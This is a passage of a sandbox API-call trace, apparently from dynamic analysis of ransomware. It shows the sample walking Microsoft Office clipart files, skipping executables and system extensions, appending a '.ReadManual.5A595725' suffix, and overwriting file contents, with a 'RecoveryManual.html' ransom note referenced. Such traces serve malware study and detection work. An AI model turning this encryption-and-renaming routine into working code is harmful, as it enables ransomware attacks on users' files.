Office\\CLIPART\\PUB60COR\\J0297759.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" [0269.433] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.ReadManual.5A595725" [0269.433] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.ReadManual.5A595725") returned 87 [0269.433] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39010222227) returned 1 [0269.434] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf")) returned 0x20 [0269.434] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.434] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18784) returned 1 [0269.434] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4960, lpName=0x0) returned 0x184 [0269.434] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.435] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.435] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.437] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.437] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4960) returned 0x2f0000 [0269.437] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.438] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39010632491) returned 1 [0269.438] CloseHandle (hObject=0x184) returned 1 [0269.438] SetSecurityInfo () returned 0x57 [0269.438] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.438] CloseHandle (hObject=0x194) returned 1 [0269.438] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0300862.WMF", cAlternateFileName="")) returned 1 [0269.439] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0300862.WMF" | out: lpString1="J0300862.WMF") returned="J0300862.WMF" [0269.439] lstrcmpiW (lpString1="J0300862.WMF", lpString2="RecoveryManual.html") returned -1 [0269.439] StrStrIW (lpFirst="J0300862.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.439] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.439] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.439] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.439] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.439] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.439] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.439] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.439] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.439] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.439] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.439] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.439] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.439] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.439] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.439] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" [0269.439] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.ReadManual.5A595725" [0269.439] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.ReadManual.5A595725") returned 87 [0269.439] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39010799422) returned 1 [0269.439] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf")) returned 0x20 [0269.440] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.440] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17796) returned 1 [0269.440] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4584, lpName=0x0) returned 0x184 [0269.441] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.441] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.441] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.443] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.443] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4584) returned 0x2f0000 [0269.443] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.444] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39011240335) returned 1 [0269.444] CloseHandle (hObject=0x184) returned 1 [0269.444] SetSecurityInfo () returned 0x57 [0269.444] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.444] CloseHandle (hObject=0x194) returned 1 [0269.444] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66f5700, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf66f5700, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2b0e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0301044.WMF", cAlternateFileName="")) returned 1 [0269.444] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0301044.WMF" | out: lpString1="J0301044.WMF") returned="J0301044.WMF" [0269.444] lstrcmpiW (lpString1="J0301044.WMF", lpString2="RecoveryManual.html") returned -1 [0269.444] StrStrIW (lpFirst="J0301044.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.444] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.444] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.444] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.444] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.444] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.444] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.444] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.444] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.444] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.444] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.444] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.444] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.444] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.444] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.445] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" [0269.445] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.ReadManual.5A595725" [0269.445] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.ReadManual.5A595725") returned 87 [0269.445] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39011342044) returned 1 [0269.445] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf")) returned 0x20 [0269.445] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.445] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11022) returned 1 [0269.445] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b0e, lpName=0x0) returned 0x184 [0269.445] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.446] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.446] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.448] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.448] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b0e) returned 0x2f0000 [0269.448] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.448] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39011694941) returned 1 [0269.448] CloseHandle (hObject=0x184) returned 1 [0269.448] SetSecurityInfo () returned 0x57 [0269.448] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.448] CloseHandle (hObject=0x194) returned 1 [0269.448] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab7300, ftCreationTime.dwHighDateTime=0x1bf4a6c, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ab7300, ftLastWriteTime.dwHighDateTime=0x1bf4a6c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0301052.WMF", cAlternateFileName="")) returned 1 [0269.449] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0301052.WMF" | out: lpString1="J0301052.WMF") returned="J0301052.WMF" [0269.449] lstrcmpiW (lpString1="J0301052.WMF", lpString2="RecoveryManual.html") returned -1 [0269.449] StrStrIW (lpFirst="J0301052.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.449] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.449] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.449] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.449] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.449] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.449] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.449] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.449] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.449] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.449] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.449] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.449] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.449] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.449] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.449] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" [0269.449] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.ReadManual.5A595725" [0269.449] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.ReadManual.5A595725") returned 87 [0269.449] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39011810946) returned 1 [0269.449] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf")) returned 0x20 [0269.450] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.451] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10984) returned 1 [0269.451] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ae8, lpName=0x0) returned 0x184 [0269.451] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.451] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.451] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.453] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.453] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ae8) returned 0x2f0000 [0269.454] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.454] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39012250729) returned 1 [0269.454] CloseHandle (hObject=0x184) returned 1 [0269.454] SetSecurityInfo () returned 0x57 [0269.454] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.454] CloseHandle (hObject=0x194) returned 1 [0269.454] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a5a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0301418.WMF", cAlternateFileName="")) returned 1 [0269.454] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0301418.WMF" | out: lpString1="J0301418.WMF") returned="J0301418.WMF" [0269.454] lstrcmpiW (lpString1="J0301418.WMF", lpString2="RecoveryManual.html") returned -1 [0269.454] StrStrIW (lpFirst="J0301418.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.454] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.454] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.454] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.454] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.454] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.454] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.454] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.454] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.454] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.454] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.454] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.455] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.455] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.455] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.455] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" [0269.455] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.ReadManual.5A595725" [0269.455] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.ReadManual.5A595725") returned 87 [0269.455] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39012350133) returned 1 [0269.455] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf")) returned 0x20 [0269.456] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.456] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19034) returned 1 [0269.456] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a5a, lpName=0x0) returned 0x184 [0269.456] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.457] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.457] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.459] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.459] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a5a) returned 0x2f0000 [0269.459] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.459] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39012783238) returned 1 [0269.459] CloseHandle (hObject=0x184) returned 1 [0269.459] SetSecurityInfo () returned 0x57 [0269.459] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.459] CloseHandle (hObject=0x194) returned 1 [0269.459] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dfa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0301432.WMF", cAlternateFileName="")) returned 1 [0269.459] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0301432.WMF" | out: lpString1="J0301432.WMF") returned="J0301432.WMF" [0269.459] lstrcmpiW (lpString1="J0301432.WMF", lpString2="RecoveryManual.html") returned -1 [0269.459] StrStrIW (lpFirst="J0301432.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.460] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.460] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.460] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.460] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.460] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.460] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.460] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.460] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.460] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.460] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.460] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.460] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.460] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.460] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.460] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" [0269.460] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.ReadManual.5A595725" [0269.460] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.ReadManual.5A595725") returned 87 [0269.460] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39012881087) returned 1 [0269.460] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf")) returned 0x20 [0269.460] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.461] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19962) returned 1 [0269.461] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4dfa, lpName=0x0) returned 0x184 [0269.461] SetFileInformationByHandle (hFile=0x194, 